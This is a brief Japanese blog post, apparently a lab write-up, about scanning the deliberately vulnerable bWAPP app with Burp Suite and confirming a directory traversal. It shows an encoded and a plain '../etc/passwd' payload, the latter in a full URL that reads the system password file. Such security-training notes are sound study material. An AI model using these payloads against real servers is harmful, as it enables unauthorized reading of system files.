Burp SuiteでDirectory Traversal - Filesの診断結果を確認してみた

Hello there, ('ω')ノ

 

Directory Traversal - Filesを選択して。

 

 

履歴からアクティブスキャンして。

 

 

ファイルパストラバーサルが検出されたので。

 

 

 

レスポンスをRenderで確認して。

 

 

下記のパラメータをでSmart Decodeして。

..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

 

下記のパラメータでアクセスすると同じように確認できた。

https://10.4.128.181/bWAPP/directory_traversal_1.php?page=../../../../../../../../../../../../../../../../etc/passwd

 

 

Best regards, (^^ゞ